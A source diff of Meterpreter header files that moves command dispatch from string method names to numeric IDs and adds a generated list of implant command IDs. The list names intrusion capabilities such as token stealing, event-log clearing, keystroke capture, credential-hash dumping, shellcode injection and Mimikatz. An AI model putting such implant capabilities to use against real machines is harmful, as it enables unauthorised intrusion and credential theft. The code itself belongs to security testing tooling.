||||
#define COMMAND_REP(name, repHandler) { name, { EMPTY_DISPATCH_HANDLER }, { repHandler, NULL, EMPTY_TLV } }
|
||||
#define COMMAND_REP(command_id, repHandler) { command_id, { EMPTY_DISPATCH_HANDLER }, { repHandler, NULL, EMPTY_TLV } }
|
||||
/*!
|
||||
* @brief Helper macro that defines a command instance with both a request and response handler.
|
||||
* @remarks The request handler will be executed on a separate thread.
|
||||
*/
|
||||
#define COMMAND_REQ_REP(name, reqHandler, repHandler) { name, { reqHandler, NULL, EMPTY_TLV }, { repHandler, NULL, EMPTY_TLV } }
|
||||
#define COMMAND_REQ_REP(command_id, reqHandler, repHandler) { command_id, { reqHandler, NULL, EMPTY_TLV }, { repHandler, NULL, EMPTY_TLV } }
|
||||
/*!
|
||||
* @brief Helper macro that defines a command instance with an inline request handler only.
|
||||
* @remarks The request handler will be executed on the server thread.
|
||||
*/
|
||||
#define COMMAND_INLINE_REQ(name, reqHandler) { name, { NULL, reqHandler, EMPTY_TLV }, { EMPTY_DISPATCH_HANDLER } }
|
||||
#define COMMAND_INLINE_REQ(command_id, reqHandler) { command_id, { NULL, reqHandler, EMPTY_TLV }, { EMPTY_DISPATCH_HANDLER } }
|
||||
/*!
|
||||
* @brief Helper macro that defines a command instance with an inline response handler only.
|
||||
* @remarks The response handler will be executed on the server thread.
|
||||
*/
|
||||
#define COMMAND_INLINE_REP(name, reqHandler) { name, { EMPTY_DISPATCH_HANDLER }, { NULL, reqHandler, EMPTY_TLV } }
|
||||
#define COMMAND_INLINE_REP(command_id, reqHandler) { command_id, { EMPTY_DISPATCH_HANDLER }, { NULL, reqHandler, EMPTY_TLV } }
|
||||
|
||||
/*!
|
||||
* @brief Defines a command handler for requests and responses.
|
||||
@ -82,7 +82,7 @@ typedef struct
|
||||
*/
|
||||
typedef struct command
|
||||
{
|
||||
LPCSTR method; ///< Identifier for the command.
|
||||
UINT command_id; ///< Identifier for the command.
|
||||
PacketDispatcher request; ///< Defines the request handler.
|
||||
PacketDispatcher response; ///< Defines the response handler.
|
||||
|
||||
|
@ -18,24 +18,15 @@ typedef enum
|
||||
|
||||
// Direct I/O handler -- used in place of internal buffering for channels
|
||||
// that can do event based forwarding of buffers.
|
||||
typedef DWORD (*DirectIoHandler)(struct _Channel *channel,
|
||||
struct _ChannelBuffer *buffer, LPVOID context, ChannelDioMode mode,
|
||||
PUCHAR chunk, ULONG length, PULONG bytesXfered);
|
||||
typedef DWORD (*DirectIoHandler)(struct _Channel *channel, struct _ChannelBuffer *buffer, LPVOID context, ChannelDioMode mode, PUCHAR chunk, ULONG length, PULONG bytesXfered);
|
||||
|
||||
// Asynchronous completion routines -- used with channel_open, channel_read,
|
||||
// etc.
|
||||
typedef DWORD (*ChannelOpenCompletionRoutine)(Remote *remote,
|
||||
struct _Channel *channel, LPVOID context, DWORD result);
|
||||
typedef DWORD (*ChannelReadCompletionRoutine)(Remote *remote,
|
||||
struct _Channel *channel, LPVOID context, DWORD result, PUCHAR buffer,
|
||||
ULONG bytesRead);
|
||||
typedef DWORD (*ChannelWriteCompletionRoutine)(Remote *remote,
|
||||
struct _Channel *channel, LPVOID context, DWORD result,
|
||||
ULONG bytesWritten);
|
||||
typedef DWORD (*ChannelCloseCompletionRoutine)(Remote *remote,
|
||||
struct _Channel *channel, LPVOID context, DWORD result);
|
||||
typedef DWORD (*ChannelInteractCompletionRoutine)(Remote *remote,
|
||||
struct _Channel *channel, LPVOID context, DWORD result);
|
||||
typedef DWORD (*ChannelOpenCompletionRoutine)(Remote *remote, struct _Channel *channel, LPVOID context, DWORD result);
|
||||
typedef DWORD (*ChannelReadCompletionRoutine)(Remote *remote, struct _Channel *channel, LPVOID context, DWORD result, PUCHAR buffer, ULONG bytesRead);
|
||||
typedef DWORD (*ChannelWriteCompletionRoutine)(Remote *remote, struct _Channel *channel, LPVOID context, DWORD result, ULONG bytesWritten);
|
||||
typedef DWORD (*ChannelCloseCompletionRoutine)(Remote *remote, struct _Channel *channel, LPVOID context, DWORD result);
|
||||
typedef DWORD (*ChannelInteractCompletionRoutine)(Remote *remote, struct _Channel *channel, LPVOID context, DWORD result);
|
||||
|
||||
// Completion routine wrapper context
|
||||
typedef struct _ChannelCompletionRoutine
|
||||
@ -69,13 +60,9 @@ typedef struct _ChannelBuffer
|
||||
typedef struct _NativeChannelOps
|
||||
{
|
||||
LPVOID context;
|
||||
DWORD (*write)(struct _Channel *channel, Packet *request,
|
||||
LPVOID context, LPVOID buffer, DWORD bufferSize,
|
||||
LPDWORD bytesWritten);
|
||||
DWORD (*close)(struct _Channel *channel, Packet *request,
|
||||
LPVOID context);
|
||||
DWORD (*interact)(struct _Channel *channel, Packet *request,
|
||||
LPVOID context, BOOLEAN interact);
|
||||
DWORD (*write)(struct _Channel *channel, Packet *request, LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesWritten);
|
||||
DWORD (*close)(struct _Channel *channel, Packet *request, LPVOID context);
|
||||
DWORD (*interact)(struct _Channel *channel, Packet *request, LPVOID context, BOOLEAN interact);
|
||||
} NativeChannelOps;
|
||||
|
||||
// Channel operations for a stream-based channel
|
||||
@ -94,15 +81,10 @@ typedef struct _DatagramChannelOps
|
||||
typedef struct _PoolChannelOps
|
||||
{
|
||||
NativeChannelOps native;
|
||||
DWORD (*read)(struct _Channel *channel, Packet *request,
|
||||
LPVOID context, LPVOID buffer, DWORD bufferSize,
|
||||
LPDWORD bytesRead);
|
||||
DWORD (*eof)(struct _Channel *channel, Packet *request,
|
||||
LPVOID context, LPBOOL isEof);
|
||||
DWORD (*seek)(struct _Channel *channel, Packet *request,
|
||||
LPVOID context, LONG offset, DWORD whence);
|
||||
DWORD (*tell)(struct _Channel *channel, Packet *request,
|
||||
LPVOID context, LPLONG offset);
|
||||
DWORD (*read)(struct _Channel *channel, Packet *request, LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesRead);
|
||||
DWORD (*eof)(struct _Channel *channel, Packet *request, LPVOID context, LPBOOL isEof);
|
||||
DWORD (*seek)(struct _Channel *channel, Packet *request, LPVOID context, LONG offset, DWORD whence);
|
||||
DWORD (*tell)(struct _Channel *channel, Packet *request, LPVOID context, LPLONG offset);
|
||||
} PoolChannelOps;
|
||||
|
||||
/*
|
||||
|
233
c/meterpreter/source/common/common_command_ids.h
Normal file
233
c/meterpreter/source/common/common_command_ids.h
Normal file
@ -0,0 +1,233 @@
|
||||
/*!
|
||||
* @file common_command_ids.h
|
||||
* @brief Declarations of command ID values
|
||||
* @description This file was generated 2020-05-01 05:24:48 UTC. Do not modify directly.
|
||||
*/
|
||||
#ifndef _METERPRETER_SOURCE_COMMON_COMMAND_IDS_H
|
||||
#define _METERPRETER_SOURCE_COMMON_COMMAND_IDS_H
|
||||
|
||||
#define EXTENSION_ID_CORE 0
|
||||
#define EXTENSION_ID_STDAPI 1000
|
||||
#define EXTENSION_ID_PRIV 2000
|
||||
#define EXTENSION_ID_EXTAPI 3000
|
||||
#define EXTENSION_ID_SNIFFER 4000
|
||||
#define EXTENSION_ID_WINPMEM 7000
|
||||
#define EXTENSION_ID_KIWI 8000
|
||||
#define EXTENSION_ID_UNHOOK 10000
|
||||
#define EXTENSION_ID_ESPIA 11000
|
||||
#define EXTENSION_ID_INCOGNITO 12000
|
||||
#define EXTENSION_ID_PYTHON 13000
|
||||
#define EXTENSION_ID_POWERSHELL 14000
|
||||
#define EXTENSION_ID_LANATTACKS 15000
|
||||
#define EXTENSION_ID_PEINJECTOR 16000
|
||||
#define EXTENSION_ID_MIMIKATZ 17000
|
||||
|
||||
#define COMMAND_ID_CORE_CHANNEL_CLOSE 1
|
||||
#define COMMAND_ID_CORE_CHANNEL_EOF 2
|
||||
#define COMMAND_ID_CORE_CHANNEL_INTERACT 3
|
||||
#define COMMAND_ID_CORE_CHANNEL_OPEN 4
|
||||
#define COMMAND_ID_CORE_CHANNEL_READ 5
|
||||
#define COMMAND_ID_CORE_CHANNEL_SEEK 6
|
||||
#define COMMAND_ID_CORE_CHANNEL_TELL 7
|
||||
#define COMMAND_ID_CORE_CHANNEL_WRITE 8
|
||||
#define COMMAND_ID_CORE_CONSOLE_WRITE 9
|
||||
#define COMMAND_ID_CORE_ENUMEXTCMD 10
|
||||
#define COMMAND_ID_CORE_GET_SESSION_GUID 11
|
||||
#define COMMAND_ID_CORE_LOADLIB 12
|
||||
#define COMMAND_ID_CORE_MACHINE_ID 13
|
||||
#define COMMAND_ID_CORE_MIGRATE 14
|
||||
#define COMMAND_ID_CORE_NATIVE_ARCH 15
|
||||
#define COMMAND_ID_CORE_NEGOTIATE_TLV_ENCRYPTION 16
|
||||
#define COMMAND_ID_CORE_PATCH_URL 17
|
||||
#define COMMAND_ID_CORE_PIVOT_ADD 18
|
||||
#define COMMAND_ID_CORE_PIVOT_REMOVE 19
|
||||
#define COMMAND_ID_CORE_PIVOT_SESSION_DIED 20
|
||||
#define COMMAND_ID_CORE_SET_SESSION_GUID 21
|
||||
#define COMMAND_ID_CORE_SET_UUID 22
|
||||
#define COMMAND_ID_CORE_SHUTDOWN 23
|
||||
#define COMMAND_ID_CORE_TRANSPORT_ADD 24
|
||||
#define COMMAND_ID_CORE_TRANSPORT_CHANGE 25
|
||||
#define COMMAND_ID_CORE_TRANSPORT_GETCERTHASH 26
|
||||
#define COMMAND_ID_CORE_TRANSPORT_LIST 27
|
||||
#define COMMAND_ID_CORE_TRANSPORT_NEXT 28
|
||||
#define COMMAND_ID_CORE_TRANSPORT_PREV 29
|
||||
#define COMMAND_ID_CORE_TRANSPORT_REMOVE 30
|
||||
#define COMMAND_ID_CORE_TRANSPORT_SETCERTHASH 31
|
||||
#define COMMAND_ID_CORE_TRANSPORT_SET_TIMEOUTS 32
|
||||
#define COMMAND_ID_CORE_TRANSPORT_SLEEP 33
|
||||
#define COMMAND_ID_STDAPI_FS_CHDIR 1001
|
||||
#define COMMAND_ID_STDAPI_FS_CHMOD 1002
|
||||
#define COMMAND_ID_STDAPI_FS_DELETE_DIR 1003
|
||||
#define COMMAND_ID_STDAPI_FS_DELETE_FILE 1004
|
||||
#define COMMAND_ID_STDAPI_FS_FILE_COPY 1005
|
||||
#define COMMAND_ID_STDAPI_FS_FILE_EXPAND_PATH 1006
|
||||
#define COMMAND_ID_STDAPI_FS_FILE_MOVE 1007
|
||||
#define COMMAND_ID_STDAPI_FS_GETWD 1008
|
||||
#define COMMAND_ID_STDAPI_FS_LS 1009
|
||||
#define COMMAND_ID_STDAPI_FS_MD5 1010
|
||||
#define COMMAND_ID_STDAPI_FS_MKDIR 1011
|
||||
#define COMMAND_ID_STDAPI_FS_MOUNT_SHOW 1012
|
||||
#define COMMAND_ID_STDAPI_FS_SEARCH 1013
|
||||
#define COMMAND_ID_STDAPI_FS_SEPARATOR 1014
|
||||
#define COMMAND_ID_STDAPI_FS_SHA1 1015
|
||||
#define COMMAND_ID_STDAPI_FS_STAT 1016
|
||||
#define COMMAND_ID_STDAPI_NET_CONFIG_ADD_ROUTE 1017
|
||||
#define COMMAND_ID_STDAPI_NET_CONFIG_GET_ARP_TABLE 1018
|
||||
#define COMMAND_ID_STDAPI_NET_CONFIG_GET_INTERFACES 1019
|
||||
#define COMMAND_ID_STDAPI_NET_CONFIG_GET_NETSTAT 1020
|
||||
#define COMMAND_ID_STDAPI_NET_CONFIG_GET_PROXY 1021
|
||||
#define COMMAND_ID_STDAPI_NET_CONFIG_GET_ROUTES 1022
|
||||
#define COMMAND_ID_STDAPI_NET_CONFIG_REMOVE_ROUTE 1023
|
||||
#define COMMAND_ID_STDAPI_NET_RESOLVE_HOST 1024
|
||||
#define COMMAND_ID_STDAPI_NET_RESOLVE_HOSTS 1025
|
||||
#define COMMAND_ID_STDAPI_NET_SOCKET_TCP_SHUTDOWN 1026
|
||||
#define COMMAND_ID_STDAPI_NET_TCP_CHANNEL_OPEN 1027
|
||||
#define COMMAND_ID_STDAPI_RAILGUN_API 1028
|
||||
#define COMMAND_ID_STDAPI_RAILGUN_API_MULTI 1029
|
||||
#define COMMAND_ID_STDAPI_RAILGUN_MEMREAD 1030
|
||||
#define COMMAND_ID_STDAPI_RAILGUN_MEMWRITE 1031
|
||||
#define COMMAND_ID_STDAPI_REGISTRY_CHECK_KEY_EXISTS 1032
|
||||
#define COMMAND_ID_STDAPI_REGISTRY_CLOSE_KEY 1033
|
||||
#define COMMAND_ID_STDAPI_REGISTRY_CREATE_KEY 1034
|
||||
#define COMMAND_ID_STDAPI_REGISTRY_DELETE_KEY 1035
|
||||
#define COMMAND_ID_STDAPI_REGISTRY_DELETE_VALUE 1036
|
||||
#define COMMAND_ID_STDAPI_REGISTRY_ENUM_KEY 1037
|
||||
#define COMMAND_ID_STDAPI_REGISTRY_ENUM_KEY_DIRECT 1038
|
||||
#define COMMAND_ID_STDAPI_REGISTRY_ENUM_VALUE 1039
|
||||
#define COMMAND_ID_STDAPI_REGISTRY_ENUM_VALUE_DIRECT 1040
|
||||
#define COMMAND_ID_STDAPI_REGISTRY_LOAD_KEY 1041
|
||||
#define COMMAND_ID_STDAPI_REGISTRY_OPEN_KEY 1042
|
||||
#define COMMAND_ID_STDAPI_REGISTRY_OPEN_REMOTE_KEY 1043
|
||||
#define COMMAND_ID_STDAPI_REGISTRY_QUERY_CLASS 1044
|
||||
#define COMMAND_ID_STDAPI_REGISTRY_QUERY_VALUE 1045
|
||||
#define COMMAND_ID_STDAPI_REGISTRY_QUERY_VALUE_DIRECT 1046
|
||||
#define COMMAND_ID_STDAPI_REGISTRY_SET_VALUE 1047
|
||||
#define COMMAND_ID_STDAPI_REGISTRY_SET_VALUE_DIRECT 1048
|
||||
#define COMMAND_ID_STDAPI_REGISTRY_UNLOAD_KEY 1049
|
||||
#define COMMAND_ID_STDAPI_SYS_CONFIG_DRIVER_LIST 1050
|
||||
#define COMMAND_ID_STDAPI_SYS_CONFIG_DROP_TOKEN 1051
|
||||
#define COMMAND_ID_STDAPI_SYS_CONFIG_GETENV 1052
|
||||
#define COMMAND_ID_STDAPI_SYS_CONFIG_GETPRIVS 1053
|
||||
#define COMMAND_ID_STDAPI_SYS_CONFIG_GETSID 1054
|
||||
#define COMMAND_ID_STDAPI_SYS_CONFIG_GETUID 1055
|
||||
#define COMMAND_ID_STDAPI_SYS_CONFIG_LOCALTIME 1056
|
||||
#define COMMAND_ID_STDAPI_SYS_CONFIG_REV2SELF 1057
|
||||
#define COMMAND_ID_STDAPI_SYS_CONFIG_STEAL_TOKEN 1058
|
||||
#define COMMAND_ID_STDAPI_SYS_CONFIG_SYSINFO 1059
|
||||
#define COMMAND_ID_STDAPI_SYS_EVENTLOG_CLEAR 1060
|
||||
#define COMMAND_ID_STDAPI_SYS_EVENTLOG_CLOSE 1061
|
||||
#define COMMAND_ID_STDAPI_SYS_EVENTLOG_NUMRECORDS 1062
|
||||
#define COMMAND_ID_STDAPI_SYS_EVENTLOG_OLDEST 1063
|
||||
#define COMMAND_ID_STDAPI_SYS_EVENTLOG_OPEN 1064
|
||||
#define COMMAND_ID_STDAPI_SYS_EVENTLOG_READ 1065
|
||||
#define COMMAND_ID_STDAPI_SYS_POWER_EXITWINDOWS 1066
|
||||
#define COMMAND_ID_STDAPI_SYS_PROCESS_ATTACH 1067
|
||||
#define COMMAND_ID_STDAPI_SYS_PROCESS_CLOSE 1068
|
||||
#define COMMAND_ID_STDAPI_SYS_PROCESS_EXECUTE 1069
|
||||
#define COMMAND_ID_STDAPI_SYS_PROCESS_GET_INFO 1070
|
||||
#define COMMAND_ID_STDAPI_SYS_PROCESS_GET_PROCESSES 1071
|
||||
#define COMMAND_ID_STDAPI_SYS_PROCESS_GETPID 1072
|
||||
#define COMMAND_ID_STDAPI_SYS_PROCESS_IMAGE_GET_IMAGES 1073
|
||||
#define COMMAND_ID_STDAPI_SYS_PROCESS_IMAGE_GET_PROC_ADDRESS 1074
|
||||
#define COMMAND_ID_STDAPI_SYS_PROCESS_IMAGE_LOAD 1075
|
||||
#define COMMAND_ID_STDAPI_SYS_PROCESS_IMAGE_UNLOAD 1076
|
||||
#define COMMAND_ID_STDAPI_SYS_PROCESS_KILL 1077
|
||||
#define COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_ALLOCATE 1078
|
||||
#define COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_FREE 1079
|
||||
#define COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_LOCK 1080
|
||||
#define COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_PROTECT 1081
|
||||
#define COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_QUERY 1082
|
||||
#define COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_READ 1083
|
||||
#define COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_UNLOCK 1084
|
||||
#define COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_WRITE 1085
|
||||
#define COMMAND_ID_STDAPI_SYS_PROCESS_THREAD_CLOSE 1086
|
||||
#define COMMAND_ID_STDAPI_SYS_PROCESS_THREAD_CREATE 1087
|
||||
#define COMMAND_ID_STDAPI_SYS_PROCESS_THREAD_GET_THREADS 1088
|
||||
#define COMMAND_ID_STDAPI_SYS_PROCESS_THREAD_OPEN 1089
|
||||
#define COMMAND_ID_STDAPI_SYS_PROCESS_THREAD_QUERY_REGS 1090
|
||||
#define COMMAND_ID_STDAPI_SYS_PROCESS_THREAD_RESUME 1091
|
||||
#define COMMAND_ID_STDAPI_SYS_PROCESS_THREAD_SET_REGS 1092
|
||||
#define COMMAND_ID_STDAPI_SYS_PROCESS_THREAD_SUSPEND 1093
|
||||
#define COMMAND_ID_STDAPI_SYS_PROCESS_THREAD_TERMINATE 1094
|
||||
#define COMMAND_ID_STDAPI_SYS_PROCESS_WAIT 1095
|
||||
#define COMMAND_ID_STDAPI_UI_DESKTOP_ENUM 1096
|
||||
#define COMMAND_ID_STDAPI_UI_DESKTOP_GET 1097
|
||||
#define COMMAND_ID_STDAPI_UI_DESKTOP_SCREENSHOT 1098
|
||||
#define COMMAND_ID_STDAPI_UI_DESKTOP_SET 1099
|
||||
#define COMMAND_ID_STDAPI_UI_ENABLE_KEYBOARD 1100
|
||||
#define COMMAND_ID_STDAPI_UI_ENABLE_MOUSE 1101
|
||||
#define COMMAND_ID_STDAPI_UI_GET_IDLE_TIME 1102
|
||||
#define COMMAND_ID_STDAPI_UI_GET_KEYS_UTF8 1103
|
||||
#define COMMAND_ID_STDAPI_UI_SEND_KEYEVENT 1104
|
||||
#define COMMAND_ID_STDAPI_UI_SEND_KEYS 1105
|
||||
#define COMMAND_ID_STDAPI_UI_SEND_MOUSE 1106
|
||||
#define COMMAND_ID_STDAPI_UI_START_KEYSCAN 1107
|
||||
#define COMMAND_ID_STDAPI_UI_STOP_KEYSCAN 1108
|
||||
#define COMMAND_ID_STDAPI_UI_UNLOCK_DESKTOP 1109
|
||||
#define COMMAND_ID_STDAPI_WEBCAM_AUDIO_RECORD 1110
|
||||
#define COMMAND_ID_STDAPI_WEBCAM_GET_FRAME 1111
|
||||
#define COMMAND_ID_STDAPI_WEBCAM_LIST 1112
|
||||
#define COMMAND_ID_STDAPI_WEBCAM_START 1113
|
||||
#define COMMAND_ID_STDAPI_WEBCAM_STOP 1114
|
||||
#define COMMAND_ID_STDAPI_AUDIO_MIC_START 1115
|
||||
#define COMMAND_ID_STDAPI_AUDIO_MIC_STOP 1116
|
||||
#define COMMAND_ID_STDAPI_AUDIO_MIC_LIST 1117
|
||||
#define COMMAND_ID_PRIV_ELEVATE_GETSYSTEM 2001
|
||||
#define COMMAND_ID_PRIV_FS_BLANK_DIRECTORY_MACE 2002
|
||||
#define COMMAND_ID_PRIV_FS_BLANK_FILE_MACE 2003
|
||||
#define COMMAND_ID_PRIV_FS_GET_FILE_MACE 2004
|
||||
#define COMMAND_ID_PRIV_FS_SET_FILE_MACE 2005
|
||||
#define COMMAND_ID_PRIV_FS_SET_FILE_MACE_FROM_FILE 2006
|
||||
#define COMMAND_ID_PRIV_PASSWD_GET_SAM_HASHES 2007
|
||||
#define COMMAND_ID_EXTAPI_ADSI_DOMAIN_QUERY 3001
|
||||
#define COMMAND_ID_EXTAPI_CLIPBOARD_GET_DATA 3002
|
||||
#define COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_DUMP 3003
|
||||
#define COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_PAUSE 3004
|
||||
#define COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_PURGE 3005
|
||||
#define COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_RESUME 3006
|
||||
#define COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_START 3007
|
||||
#define COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_STOP 3008
|
||||
#define COMMAND_ID_EXTAPI_CLIPBOARD_SET_DATA 3009
|
||||
#define COMMAND_ID_EXTAPI_NTDS_PARSE 3010
|
||||
#define COMMAND_ID_EXTAPI_PAGEANT_SEND_QUERY 3011
|
||||
#define COMMAND_ID_EXTAPI_SERVICE_CONTROL 3012
|
||||
#define COMMAND_ID_EXTAPI_SERVICE_ENUM 3013
|
||||
#define COMMAND_ID_EXTAPI_SERVICE_QUERY 3014
|
||||
#define COMMAND_ID_EXTAPI_WINDOW_ENUM 3015
|
||||
#define COMMAND_ID_EXTAPI_WMI_QUERY 3016
|
||||
#define COMMAND_ID_SNIFFER_CAPTURE_DUMP 4001
|
||||
#define COMMAND_ID_SNIFFER_CAPTURE_DUMP_READ 4002
|
||||
#define COMMAND_ID_SNIFFER_CAPTURE_RELEASE 4003
|
||||
#define COMMAND_ID_SNIFFER_CAPTURE_START 4004
|
||||
#define COMMAND_ID_SNIFFER_CAPTURE_STATS 4005
|
||||
#define COMMAND_ID_SNIFFER_CAPTURE_STOP 4006
|
||||
#define COMMAND_ID_SNIFFER_INTERFACES 4007
|
||||
#define COMMAND_ID_WINPMEM_DUMP_RAM 7001
|
||||
#define COMMAND_ID_KIWI_EXEC_CMD 8001
|
||||
#define COMMAND_ID_UNHOOK_PE 10001
|
||||
#define COMMAND_ID_ESPIA_IMAGE_GET_DEV_SCREEN 11001
|
||||
#define COMMAND_ID_INCOGNITO_ADD_GROUP_USER 12001
|
||||
#define COMMAND_ID_INCOGNITO_ADD_LOCALGROUP_USER 12002
|
||||
#define COMMAND_ID_INCOGNITO_ADD_USER 12003
|
||||
#define COMMAND_ID_INCOGNITO_IMPERSONATE_TOKEN 12004
|
||||
#define COMMAND_ID_INCOGNITO_LIST_TOKENS 12005
|
||||
#define COMMAND_ID_INCOGNITO_SNARF_HASHES 12006
|
||||
#define COMMAND_ID_PYTHON_EXECUTE 13001
|
||||
#define COMMAND_ID_PYTHON_RESET 13002
|
||||
#define COMMAND_ID_POWERSHELL_ASSEMBLY_LOAD 14001
|
||||
#define COMMAND_ID_POWERSHELL_EXECUTE 14002
|
||||
#define COMMAND_ID_POWERSHELL_SESSION_REMOVE 14003
|
||||
#define COMMAND_ID_POWERSHELL_SHELL 14004
|
||||
#define COMMAND_ID_LANATTACKS_ADD_TFTP_FILE 15001
|
||||
#define COMMAND_ID_LANATTACKS_DHCP_LOG 15002
|
||||
#define COMMAND_ID_LANATTACKS_RESET_DHCP 15003
|
||||
#define COMMAND_ID_LANATTACKS_RESET_TFTP 15004
|
||||
#define COMMAND_ID_LANATTACKS_SET_DHCP_OPTION 15005
|
||||
#define COMMAND_ID_LANATTACKS_START_DHCP 15006
|
||||
#define COMMAND_ID_LANATTACKS_START_TFTP 15007
|
||||
#define COMMAND_ID_LANATTACKS_STOP_DHCP 15008
|
||||
#define COMMAND_ID_LANATTACKS_STOP_TFTP 15009
|
||||
#define COMMAND_ID_PEINJECTOR_INJECT_SHELLCODE 16001
|
||||
#define COMMAND_ID_MIMIKATZ_CUSTOM_COMMAND 17001
|
||||
|
||||
#endif
|
@ -99,7 +99,7 @@ typedef DWORD TlvMetaType;
|
||||
typedef enum
|
||||
{
|
||||
TLV_TYPE_ANY = TLV_VALUE(TLV_META_TYPE_NONE, 0), ///! Represents an undefined/arbitrary value.
|
||||
TLV_TYPE_METHOD = TLV_VALUE(TLV_META_TYPE_STRING, 1), ///! Represents a method/function name value.
|
||||
TLV_TYPE_COMMAND_ID = TLV_VALUE(TLV_META_TYPE_UINT, 1), ///! Represents a command identifier.
|
||||
TLV_TYPE_REQUEST_ID = TLV_VALUE(TLV_META_TYPE_STRING, 2), ///! Represents a request identifier value.
|
||||
TLV_TYPE_EXCEPTION = TLV_VALUE(TLV_META_TYPE_GROUP, 3), ///! Represents an exception value.
|
||||
TLV_TYPE_RESULT = TLV_VALUE(TLV_META_TYPE_UINT, 4), ///! Represents a result value.
|
||||
@ -135,15 +135,15 @@ typedef enum
|
||||
TLV_TYPE_LIBRARY_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 400), ///! Represents a path to the library to be loaded (string).
|
||||
TLV_TYPE_TARGET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 401), ///! Represents a target path (string).
|
||||
TLV_TYPE_MIGRATE_PID = TLV_VALUE(TLV_META_TYPE_UINT, 402), ///! Represents a process identifier of the migration target (unsigned integer).
|
||||
TLV_TYPE_MIGRATE_PAYLOAD_LEN = TLV_VALUE(TLV_META_TYPE_UINT, 403), ///! Represents a migration payload size/length in bytes (unsigned integer).
|
||||
TLV_TYPE_MIGRATE_PAYLOAD = TLV_VALUE(TLV_META_TYPE_STRING, 404), ///! Represents a migration payload (string).
|
||||
TLV_TYPE_MIGRATE_PAYLOAD = TLV_VALUE(TLV_META_TYPE_RAW, 404), ///! Represents a migration payload (raw).
|
||||
TLV_TYPE_MIGRATE_ARCH = TLV_VALUE(TLV_META_TYPE_UINT, 405), ///! Represents a migration target architecture.
|
||||
TLV_TYPE_MIGRATE_TECHNIQUE = TLV_VALUE(TLV_META_TYPE_UINT, 406), ///! Represents a migration technique (unsigned int).
|
||||
TLV_TYPE_MIGRATE_BASE_ADDR = TLV_VALUE(TLV_META_TYPE_UINT, 407), ///! Represents a migration payload base address (unsigned int).
|
||||
TLV_TYPE_MIGRATE_ENTRY_POINT = TLV_VALUE(TLV_META_TYPE_UINT, 408), ///! Represents a migration payload entry point (unsigned int).
|
||||
TLV_TYPE_MIGRATE_SOCKET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 409), ///! Represents a unix domain socket path, used to migrate on linux (string)
|
||||
TLV_TYPE_MIGRATE_STUB_LEN = TLV_VALUE(TLV_META_TYPE_UINT, 410), ///! Represents a migration stub length (uint).
|
||||
TLV_TYPE_MIGRATE_STUB = TLV_VALUE(TLV_META_TYPE_STRING, 411), ///! Represents a migration stub (string).
|
||||
TLV_TYPE_MIGRATE_STUB = TLV_VALUE(TLV_META_TYPE_RAW, 411), ///! Represents a migration stub (raw).
|
||||
TLV_TYPE_LIB_LOADER_NAME = TLV_VALUE(TLV_META_TYPE_STRING, 412), ///! Represents the name of the ReflectiveLoader function (string).
|
||||
TLV_TYPE_LIB_LOADER_ORDINAL = TLV_VALUE(TLV_META_TYPE_UINT, 413), ///! Represents the ordinal of the ReflectiveLoader function (int).
|
||||
|
||||
// Transport switching
|
||||
TLV_TYPE_TRANS_TYPE = TLV_VALUE(TLV_META_TYPE_UINT, 430), ///! Represents the type of transport to switch to.
|
||||
@ -166,7 +166,7 @@ typedef enum
|
||||
TLV_TYPE_SESSION_GUID = TLV_VALUE(TLV_META_TYPE_RAW, 462), ///! Represents a Session GUID.
|
||||
|
||||
// Packet encryption
|
||||
TLV_TYPE_RSA_PUB_KEY = TLV_VALUE(TLV_META_TYPE_STRING, 550), ///! Represents PEM-formatter RSA public key
|
||||
TLV_TYPE_RSA_PUB_KEY = TLV_VALUE(TLV_META_TYPE_RAW, 550), ///! Represents DER-encoded RSA public key
|
||||
TLV_TYPE_SYM_KEY_TYPE = TLV_VALUE(TLV_META_TYPE_UINT, 551), ///! Represents the type of symmetric key
|
||||
TLV_TYPE_SYM_KEY = TLV_VALUE(TLV_META_TYPE_RAW, 552), ///! Represents the symmetric key
|
||||
TLV_TYPE_ENC_SYM_KEY = TLV_VALUE(TLV_META_TYPE_RAW, 553), ///! Represents and RSA-encrypted symmetric key
|
||||
@ -174,7 +174,6 @@ typedef enum
|
||||
// Pivots
|
||||
TLV_TYPE_PIVOT_ID = TLV_VALUE(TLV_META_TYPE_RAW, 650), ///! Represents the id of the pivot listener
|
||||
TLV_TYPE_PIVOT_STAGE_DATA = TLV_VALUE(TLV_META_TYPE_RAW, 651), ///! Represents the data to be staged on new connections.
|
||||
TLV_TYPE_PIVOT_STAGE_DATA_SIZE = TLV_VALUE(TLV_META_TYPE_UINT, 652), ///! Represents the size of the data to be staged on new connections.
|
||||
TLV_TYPE_PIVOT_NAMED_PIPE_NAME = TLV_VALUE(TLV_META_TYPE_STRING, 653), ///! Represents named pipe name.
|
||||
|
||||
TLV_TYPE_EXTENSIONS = TLV_VALUE(TLV_META_TYPE_COMPLEX, 20000), ///! Represents an extension value.
|
||||
@ -234,7 +233,7 @@ typedef struct _DECOMPRESSED_BUFFER
|
||||
|
||||
/*! * @brief Packet request completion notification handler function pointer type. */
|
||||
typedef DWORD (*PacketRequestCompletionRoutine)(Remote *remote,
|
||||
Packet *response, LPVOID context, LPCSTR method, DWORD result);
|
||||
Packet *response, LPVOID context, UINT commandId, DWORD result);
|
||||
|
||||
typedef struct _PacketRequestCompletion
|
||||
{
|
||||
|
10
c/meterpreter/source/common/common_exports.h
Normal file
10
c/meterpreter/source/common/common_exports.h
Normal file
@ -0,0 +1,10 @@
|
||||
#ifndef _METERPRETER_COMMON_EXPORTS_H
|
||||
#define _METERPRETER_COMMON_EXPORTS_H
|
||||
|
||||
